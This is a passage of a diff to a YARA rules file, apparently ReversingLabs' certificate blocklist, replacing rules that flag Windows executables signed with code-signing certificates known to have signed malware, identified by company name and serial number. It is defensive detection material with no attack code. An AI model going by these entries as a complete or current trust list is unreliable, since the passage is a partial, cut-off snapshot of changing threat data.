"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14674-L14692" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8750-L8766" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbe34baf52e3fa7d7cdfcfaef9b8851c4cbeb46d17eeade61750e59cf0c13291" + logic_hash = "ed31b0a24d18a451163867f0f49df12af3ca0768f250ac8ce66d41405393130d" score = 75 quality = 90 tags = "INFO, FILE" @@ -26621,21 +49015,21 @@ rule REVERSINGLABS_Cert_Blocklist_E0134C41E7Eda6863C4Eee5B003976Dd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5000 LIMITED" and ( pe.signatures [ i ] . serial == "00:e0:13:4c:41:e7:ed:a6:86:3c:4e:ee:5b:00:39:76:dd" or pe.signatures [ i ] . serial == "e0:13:4c:41:e7:ed:a6:86:3c:4e:ee:5b:00:39:76:dd" ) and 1528070400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KREATURHANDLER BJARNE ANDERSEN ApS" and pe.signatures [ i ] . serial == "31:12:c6:9d:46:0c:78:1f:d6:49:c7:1e:61:bf:ec:82" and 1614902400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5B47A4739Dd8Ffe81D9B5307 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9688b091-9a77-59c2-b7f9-a8b652201b8f" + id = "7dd5ba42-2d04-52d7-b15a-2bdba2e742fb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14694-L14710" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8768-L8784" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5f35f520d4af26fa648553894a5b0db043d0c32302d94f531b6cb48691396a92" + logic_hash = "938efb7ee19970484aded5cd46b2ff730f8882706bec3f062bdebde3cc9a4799" score = 75 quality = 90 tags = "INFO, FILE" @@ -26645,21 +49039,21 @@ rule REVERSINGLABS_Cert_Blocklist_5B47A4739Dd8Ffe81D9B5307 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5b:47:a4:73:9d:d8:ff:e8:1d:9b:53:07" and 1476953007 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Farad LLC" and pe.signatures [ i ] . serial == "0a:5b:4f:67:ad:8b:22:af:c2:de:be:6c:e5:f8:f6:79" and 1607472000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4F5A9Bf75Da76B949645475473793A7D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Df45B36C9D0Bd248C3F9494E7Ca822 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "90cdf420-bdfc-509a-a64f-f30710f09f3b" + id = "d7d0d1c4-b341-5651-8179-4035f537ba98" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14712-L14728" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8786-L8804" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8c58d30b1b6ef80409d9da5f5f4bc26a8818b01cc388b5966c8b68ed0e4c5a2a" + logic_hash = "9c03522376b0d807cd36a0641e474d770bc3b4f8221f26d232878d2d320d072b" score = 75 quality = 90 tags = "INFO, FILE" @@ -26669,21 +49063,21 @@ rule REVERSINGLABS_Cert_Blocklist_4F5A9Bf75Da76B949645475473793A7D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXEC CONTROL LIMITED" and pe.signatures [ i ] . serial == "4f:5a:9b:f7:5d:a7:6b:94:96:45:47:54:73:79:3a:7d" and 1553817600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MPO STORITVE d.o.o." and ( pe.signatures [ i ] . serial == "00:df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22" or pe.signatures [ i ] . serial == "df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22" ) and 1619740800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_081Df56C9A48D02571F08907 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Ae3C4Eccecda2127D43Be390A850Dda : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4f4fb099-406a-5def-9a26-46c6807cfe7f" + id = "a9d8906b-64f6-5c5d-80e0-ab916e83b613" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14730-L14746" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8806-L8822" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "25d91f09e0731ab09a05855442b72589eb30e1c7d5e4c0a7af760eea540d786f" + logic_hash = "8a2ff4f7a5ac996127778b1670e79291bddcb5dee6e7da2b540fd254537ee27e" score = 75 quality = 90 tags = "INFO, FILE" @@ -26693,21 +49087,21 @@ rule REVERSINGLABS_Cert_Blocklist_081Df56C9A48D02571F08907 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "08:1d:f5:6c:9a:48:d0:25:71:f0:89:07" and 1474870728 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PARTYNET LIMITED" and pe.signatures [ i ] . serial == "1a:e3:c4:ec:ce:cd:a2:12:7d:43:be:39:0a:85:0d:da" and 1614902400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_77D5C1A3E623575999C74409Dc19753C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2E36360538624C9B1Afd78A2Fb756028 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8f8ce24d-8330-509a-a7a1-2727c6f8bdd9" + id = "549a566b-0c94-516c-9231-a5e54136785f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14748-L14764" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8824-L8840" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "54921ce39a0876511b33ac6fa088c3342e2ea7fa037423fe72825bfe9c83bce6" + logic_hash = "9cbb50c7d383048fd506506fa9ee8bf7c6d82feaf21bcde4008ab99b82e234a7" score = 75 quality = 90 tags = "INFO, FILE" @@ -26717,21 +49111,21 @@ rule REVERSINGLABS_Cert_Blocklist_77D5C1A3E623575999C74409Dc19753C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "77:d5:c1:a3:e6:23:57:59:99:c7:44:09:dc:19:75:3c" and 1475884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ts Trade ApS" and pe.signatures [ i ] . serial == "2e:36:36:05:38:62:4c:9b:1a:fd:78:a2:fb:75:60:28" and 1615766400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E9756B3F38B1172Ea89Fdbdfdba5F979 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Addb899F8229Fd53E6435E08Bbd3A733 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "77d7470c-0c60-5ef4-b1d9-35642c147afe" + id = "1e5f0577-ba05-5e43-a817-c75f65547c3d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14766-L14784" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8842-L8860" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "997a9433f907896d82f22ae323bf9cfe9aa04a2a49c5505e98adbb34277fcc15" + logic_hash = "ecb8e31b8c56b92cef601618e0adc2f6d88999318805b92389693aa9e8050d18" score = 75 quality = 90 tags = "INFO, FILE" @@ -26741,21 +49135,21 @@ rule REVERSINGLABS_Cert_Blocklist_E9756B3F38B1172Ea89Fdbdfdba5F979 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kreamer Ltd" and ( pe.signatures [ i ] . serial == "00:e9:75:6b:3f:38:b1:17:2e:a8:9f:db:df:db:a5:f9:79" or pe.signatures [ i ] . serial == "e9:75:6b:3f:38:b1:17:2e:a8:9f:db:df:db:a5:f9:79" ) and 1492732800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "U.K. STEEL EXPORTS LIMITED" and ( pe.signatures [ i ] . serial == "00:ad:db:89:9f:82:29:fd:53:e6:43:5e:08:bb:d3:a7:33" or pe.signatures [ i ] . serial == "ad:db:89:9f:82:29:fd:53:e6:43:5e:08:bb:d3:a7:33" ) and 1616630400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_09Fb28 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C1A1Db95D7Bf80290Aa6E82D8F8F996A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e7701457-c6cd-5b20-b227-8a9cdcde8213" + id = "c04a2731-5eb8-5db4-9e88-cab9b61952e4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14786-L14802" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8862-L8880" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5ed65d33b73977e869460ba51271aff94811fa2f41e4a2993c47233add2f38dd" + logic_hash = "84c7c0e53facadcdfd752e9cf3811fbfd6aac4bef4109acf430a67b6dcd37bfc" score = 75 quality = 90 tags = "INFO, FILE" @@ -26765,21 +49159,21 @@ rule REVERSINGLABS_Cert_Blocklist_09Fb28 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "New Dial spa" and pe.signatures [ i ] . serial == "09:fb:28" and 1046968418 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Software Two Pty Ltd" and ( pe.signatures [ i ] . serial == "00:c1:a1:db:95:d7:bf:80:29:0a:a6:e8:2d:8f:8f:99:6a" or pe.signatures [ i ] . serial == "c1:a1:db:95:d7:bf:80:29:0a:a6:e8:2d:8f:8f:99:6a" ) and 1615334400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_197Dc32D915458953562D2Fe78Bf2468 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9c25410f-6a3d-5e6e-b270-ccec3be34e80" + id = "83a5e5c2-0932-526b-80aa-800b37088bbd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14804-L14820" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8882-L8900" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e61284a74765592fe97b90ca1c260efa46ea31286e6d09ab32d6c664b8271f2a" + logic_hash = "be2cd688f2d7c458ee764bd7a7250e0116328702db5585b444d631f05cdc701b" score = 75 quality = 90 tags = "INFO, FILE" @@ -26789,21 +49183,21 @@ rule REVERSINGLABS_Cert_Blocklist_197Dc32D915458953562D2Fe78Bf2468 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Y.L. Knafo, Ltd." and pe.signatures [ i ] . serial == "19:7d:c3:2d:91:54:58:95:35:62:d2:fe:78:bf:24:68" and 1575331200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NAILS UNLIMITED LIMITED" and ( pe.signatures [ i ] . serial == "00:c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" or pe.signatures [ i ] . serial == "c6:67:ff:e3:a5:b0:a5:ae:7c:f3:a9:e4:16:82:e9:1b" ) and 1616976000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7C0Be3D14787351E3156F5F37F2B3663 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E0A83917660D05Cf476374659D3C7B85 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "14a292da-36c1-5a37-b27e-20c982e44c25" + id = "3387f396-01f7-58b1-a5bd-b308105c66d6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14822-L14838" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8902-L8920" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "66c2cd84fccedd2afef00495c49d0c2844e2e5e190e6a859d2970e8ddb4a35c2" + logic_hash = "f60753ecb775d664e07e78611568799eaf06fb4742bcef3bf0c28202daf98c50" score = 75 quality = 90 tags = "INFO, FILE" @@ -26813,21 +49207,21 @@ rule REVERSINGLABS_Cert_Blocklist_7C0Be3D14787351E3156F5F37F2B3663 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Apex Tech, SIA" and pe.signatures [ i ] . serial == "7c:0b:e3:d1:47:87:35:1e:31:56:f5:f3:7f:2b:36:63" and 1523318400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PIK MOTEL S.R.L." and ( pe.signatures [ i ] . serial == "00:e0:a8:39:17:66:0d:05:cf:47:63:74:65:9d:3c:7b:85" or pe.signatures [ i ] . serial == "e0:a8:39:17:66:0d:05:cf:47:63:74:65:9d:3c:7b:85" ) and 1621468800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_05054Fdea356F3Dd7Db479Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Afc5522898143Aafaab7Fd52304Cf00C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c78d42bc-f8ca-579a-af49-ba9c7b63ef07" + id = "016ad027-bd6a-58e0-9099-341b81dd6f70" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14840-L14856" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8922-L8940" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "02ec52e060a6b8b3edfad0a1f5b1f2d6c409645d5233612d0d353ad74bcd4568" + logic_hash = "bfcf2fbbd9be97202eeb44c0f81f0a0713d4d30c466f2b170231c7f9df0e9e6d" score = 75 quality = 90 tags = "INFO, FILE" @@ -26837,21 +49231,21 @@ rule REVERSINGLABS_Cert_Blocklist_05054Fdea356F3Dd7Db479Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "05:05:4f:de:a3:56:f3:dd:7d:b4:79:fa" and 1474436511 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YAN CHING LIMITED" and ( pe.signatures [ i ] . serial == "00:af:c5:52:28:98:14:3a:af:aa:b7:fd:52:30:4c:f0:0c" or pe.signatures [ i ] . serial == "af:c5:52:28:98:14:3a:af:aa:b7:fd:52:30:4c:f0:0c" ) and 1622419200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_08Aaa069E92517F21Ce67Ca713F6Ea63 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8B3333D32B2C2A1D33B41Ba5Db9D4D2D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d468530e-8a51-583e-a108-e409f0144165" + id = "f7f72cd2-0bf4-5aa7-804e-4ae354eda055" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14858-L14874" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8942-L8960" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "28ad7e9c75a701425003cde4a7eb10fa471394628cd5004412778d8d7cddb50b" + logic_hash = "cdb3f1983ed17df22d17c6321bc2ead2c391d70fdca4a9f6f4784f62196b85d0" score = 75 quality = 90 tags = "INFO, FILE" @@ -26861,21 +49255,21 @@ rule REVERSINGLABS_Cert_Blocklist_08Aaa069E92517F21Ce67Ca713F6Ea63 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "pioneersoft" and pe.signatures [ i ] . serial == "08:aa:a0:69:e9:25:17:f2:1c:e6:7c:a7:13:f6:ea:63" and 1368403200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BOOK CAF\\xC3\\x89, s.r.o." and ( pe.signatures [ i ] . serial == "00:8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" or pe.signatures [ i ] . serial == "8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" ) and 1620000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1B7B54E0Dd4D7E45A0B46834De52658D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fbb1198Bd8Bddb0D693Eb72A8613Fe3F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "376da749-3cd4-5e37-b1ee-013e839f98ce" + id = "f9983426-9f05-56e2-8ad0-1c5a48ab04be" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14876-L14892" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8962-L8980" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5febbce8c39440bfc4846f509f0b1dd4f71a8b4dc24fa18afb561d26e53c2446" + logic_hash = "2e004116d0f8df5a625b190127655926336fc74b4cce4ae40cd516a135e5d719" score = 75 quality = 90 tags = "INFO, FILE" @@ -26885,21 +49279,21 @@ rule REVERSINGLABS_Cert_Blocklist_1B7B54E0Dd4D7E45A0B46834De52658D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "1b:7b:54:e0:dd:4d:7e:45:a0:b4:68:34:de:52:65:8d" and 1476662400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade Hunters, s. r. o." and ( pe.signatures [ i ] . serial == "00:fb:b1:19:8b:d8:bd:db:0d:69:3e:b7:2a:86:13:fe:3f" or pe.signatures [ i ] . serial == "fb:b1:19:8b:d8:bd:db:0d:69:3e:b7:2a:86:13:fe:3f" ) and 1620000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B63E4299D0B0E2Dcdaeb976167A23235 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_846F77D9919Fc4405Aefe1701309Bd67 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "44af31cc-e0c9-5f3f-9645-a0453bc81e62" + id = "c326fbf0-2d95-5aa1-9ae4-6cb04b9c2212" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14894-L14912" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8982-L9000" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "da7415d0bc0245dea6a4ec325da5140c79c723c20fb7c04ff14f59a3089a5c88" + logic_hash = "6739049a61183d506daf9aaf44a3b15cbf2234c6af307ec95bc07fa3d8501105" score = 75 quality = 90 tags = "INFO, FILE" @@ -26909,21 +49303,21 @@ rule REVERSINGLABS_Cert_Blocklist_B63E4299D0B0E2Dcdaeb976167A23235 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Baltservis LLC" and ( pe.signatures [ i ] . serial == "00:b6:3e:42:99:d0:b0:e2:dc:da:eb:97:61:67:a2:32:35" or pe.signatures [ i ] . serial == "b6:3e:42:99:d0:b0:e2:dc:da:eb:97:61:67:a2:32:35" ) and 1604102400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IPM Skupina d.o.o." and ( pe.signatures [ i ] . serial == "00:84:6f:77:d9:91:9f:c4:40:5a:ef:e1:70:13:09:bd:67" or pe.signatures [ i ] . serial == "84:6f:77:d9:91:9f:c4:40:5a:ef:e1:70:13:09:bd:67" ) and 1621382400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Dabae616705F5A51152Eac48423F354 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0939C2Bad859C0432E8E98A6C0162C02 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8b050402-d5d3-5733-9a72-02386d850a04" + id = "5dba4570-51d8-5c23-85a5-5de9a048793f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14914-L14930" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9002-L9018" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0bb14ececa3a78e1a2e71cfdee8bc57678251b15151d156ef5fa754b2438ee35" + logic_hash = "3c48241e52e58600bfa0385742831dba59d9cbd959cd6853fe8e030f5df79c23" score = 75 quality = 90 tags = "INFO, FILE" @@ -26933,21 +49327,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Dabae616705F5A51152Eac48423F354 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "1d:ab:ae:61:67:05:f5:a5:11:52:ea:c4:84:23:f3:54" and 1470960000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Activ Expeditions ApS" and pe.signatures [ i ] . serial == "09:39:c2:ba:d8:59:c0:43:2e:8e:98:a6:c0:16:2c:02" and 1615939200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_50D08F3C9Bf86Fba52Cf592B4Fe6Eacf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Fba0E19919Ac50D700Ba60250D02C8B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f315cdda-4b95-534d-94db-9a04e2da6385" + id = "8828c863-2800-5f66-968e-96a41a071218" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14932-L14948" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9020-L9036" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = 